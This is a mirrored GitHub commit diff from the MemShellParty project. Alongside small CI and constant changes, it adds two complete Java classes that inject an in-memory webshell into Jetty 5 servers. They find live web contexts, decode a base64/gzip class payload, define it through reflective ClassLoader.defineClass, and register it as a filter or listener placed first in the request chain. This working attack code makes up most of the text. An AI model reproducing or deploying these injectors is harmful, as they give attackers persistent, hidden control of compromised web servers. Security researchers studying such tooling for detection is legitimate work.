mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support resin2 and jetty5
This commit is contained in:
@@ -24,7 +24,7 @@ jobs:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
@@ -34,7 +34,7 @@ jobs:
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
|
||||
@@ -21,7 +21,7 @@ jobs:
|
||||
- middleware: "tomcat"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jetty"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "jbossas"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "jbosseap"
|
||||
@@ -31,7 +31,7 @@ jobs:
|
||||
- middleware: "glassfish"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "resin"
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
||||
- middleware: "payara"
|
||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "websphere"
|
||||
|
||||
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
|
||||
public class Server {
|
||||
public static final String Tomcat = "Tomcat";
|
||||
public static final String Jetty = "Jetty";
|
||||
public static final String Jetty5 = "Jetty5";
|
||||
public static final String Undertow = "Undertow";
|
||||
public static final String JBoss = "JBoss";
|
||||
public static final String Resin = "Resin";
|
||||
public static final String Resin2 = "Resin2";
|
||||
public static final String WebLogic = "WebLogic";
|
||||
public static final String WebSphere = "WebSphere";
|
||||
public static final String GlassFish = "GlassFish";
|
||||
|
||||
@@ -33,9 +33,11 @@ public class ServerFactory {
|
||||
static {
|
||||
register(Server.Tomcat, Tomcat::new);
|
||||
register(Server.Jetty, Jetty::new);
|
||||
register(Server.Jetty5, Jetty5::new);
|
||||
register(Server.Undertow, Undertow::new);
|
||||
register(Server.JBoss, Jboss::new);
|
||||
register(Server.Resin, Resin::new);
|
||||
register(Server.Resin2, Resin2::new);
|
||||
register(Server.WebLogic, WebLogic::new);
|
||||
register(Server.WebSphere, WebSphere::new);
|
||||
register(Server.GlassFish, GlassFish::new);
|
||||
|
||||
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
|
||||
public class ServerType {
|
||||
public static final String TOMCAT = "Tomcat";
|
||||
public static final String JETTY = "Jetty";
|
||||
public static final String JETTY5 = "Jetty5";
|
||||
public static final String JBOSS_AS = "JBossAS";
|
||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||
public static final String UNDERTOW = "Undertow";
|
||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||
public static final String WILDFLY = "Wildfly";
|
||||
public static final String RESIN = "Resin";
|
||||
public static final String RESIN2 = "Resin2";
|
||||
public static final String GLASSFISH = "Glassfish";
|
||||
public static final String PAYARA = "Payara";
|
||||
public static final String WEBLOGIC = "WebLogic";
|
||||
|
||||
+297
@@ -0,0 +1,297 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5FilterInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5FilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
|
||||
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object filterHolder = invokeMethod(
|
||||
webApplicationHandler,
|
||||
"defineFilter",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{getClassName(), getClassName()});
|
||||
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||
invokeMethod(filterHolder, "start");
|
||||
}
|
||||
invokeMethod(
|
||||
webApplicationHandler,
|
||||
"addFilterPathMapping",
|
||||
new Class[]{String.class, String.class, int.class},
|
||||
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
|
||||
moveLastPathFilterToFront(webApplicationHandler);
|
||||
clearChainCache(webApplicationHandler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
private void moveLastPathFilterToFront(Object webApplicationHandler) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters != null && pathFilters.size() > 1) {
|
||||
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
|
||||
pathFilters.add(0, filterMapping);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void clearChainCache(Object webApplicationHandler) {
|
||||
clearCacheField(webApplicationHandler, "_chainCache");
|
||||
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||
}
|
||||
|
||||
private void clearCacheField(Object object, String name) {
|
||||
try {
|
||||
Object cache = getFieldValue(object, name);
|
||||
if (cache instanceof Map[]) {
|
||||
Map[] maps = (Map[]) cache;
|
||||
for (int i = 0; i < maps.length; i++) {
|
||||
if (maps[i] != null) {
|
||||
maps[i].clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+440
@@ -0,0 +1,440 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.EventListener;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5ListenerInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5ListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (hasListener(context)) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
try {
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
|
||||
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
}
|
||||
ensureJsr154Filter(webApplicationHandler);
|
||||
syncJsr154Filter(webApplicationHandler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
private boolean hasListener(Object context) throws Exception {
|
||||
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
|
||||
return true;
|
||||
}
|
||||
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
return hasWebApplicationHandlerListener(webApplicationHandler);
|
||||
}
|
||||
|
||||
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
|
||||
return true;
|
||||
}
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
|
||||
return true;
|
||||
}
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
|
||||
return true;
|
||||
}
|
||||
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
|
||||
}
|
||||
|
||||
private Object getFieldValueQuietly(Object obj, String name) {
|
||||
try {
|
||||
return getFieldValue(obj, name);
|
||||
} catch (Throwable ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private boolean containsListener(Object listeners) {
|
||||
if (listeners == null) {
|
||||
return false;
|
||||
}
|
||||
if (listeners instanceof List) {
|
||||
List list = (List) listeners;
|
||||
for (int i = 0; i < list.size(); i++) {
|
||||
if (isInjectedListener(list.get(i))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (listeners.getClass().isArray()) {
|
||||
int length = Array.getLength(listeners);
|
||||
for (int i = 0; i < length; i++) {
|
||||
if (isInjectedListener(Array.get(listeners, i))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
return isInjectedListener(listeners);
|
||||
}
|
||||
|
||||
private boolean isInjectedListener(Object listener) {
|
||||
return listener != null && listener.getClass().getName().contains(getClassName());
|
||||
}
|
||||
|
||||
private void ensureJsr154Filter(Object webApplicationHandler) {
|
||||
try {
|
||||
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
|
||||
if (filterHolder == null) {
|
||||
filterHolder = invokeMethod(webApplicationHandler,
|
||||
"defineFilter",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
|
||||
}
|
||||
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||
invokeMethod(filterHolder, "start");
|
||||
}
|
||||
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
|
||||
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
|
||||
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
|
||||
try {
|
||||
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
|
||||
invokeMethod(webApplicationHandler,
|
||||
"addFilterPathMapping",
|
||||
new Class[]{String.class, String.class, int.class},
|
||||
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
|
||||
}
|
||||
movePathFilterToFront(webApplicationHandler, "jsr154");
|
||||
clearChainCache(webApplicationHandler);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void syncJsr154Filter(Object webApplicationHandler) {
|
||||
try {
|
||||
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
|
||||
if (jsr154Filter == null) {
|
||||
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
|
||||
if (jsr154FilterHolder != null) {
|
||||
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
|
||||
}
|
||||
}
|
||||
if (jsr154Filter == null) {
|
||||
return;
|
||||
}
|
||||
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
|
||||
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters == null) {
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < pathFilters.size(); i++) {
|
||||
Object filterMapping = pathFilters.get(i);
|
||||
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||
String name = (String) invokeMethod(filterHolder, "getName");
|
||||
if (filterName.equals(name)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters == null || pathFilters.size() < 2) {
|
||||
return;
|
||||
}
|
||||
for (int i = 0; i < pathFilters.size(); i++) {
|
||||
Object filterMapping = pathFilters.get(i);
|
||||
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||
String name = (String) invokeMethod(filterHolder, "getName");
|
||||
if (filterName.equals(name)) {
|
||||
pathFilters.remove(i);
|
||||
pathFilters.add(0, filterMapping);
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void clearChainCache(Object webApplicationHandler) {
|
||||
clearCacheField(webApplicationHandler, "_chainCache");
|
||||
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||
}
|
||||
|
||||
private void clearCacheField(Object object, String name) {
|
||||
try {
|
||||
Object cache = getFieldValue(object, name);
|
||||
if (cache instanceof Map[]) {
|
||||
Map[] maps = (Map[]) cache;
|
||||
for (int i = 0; i < maps.length; i++) {
|
||||
if (maps[i] != null) {
|
||||
maps[i].clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
return;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+254
@@ -0,0 +1,254 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
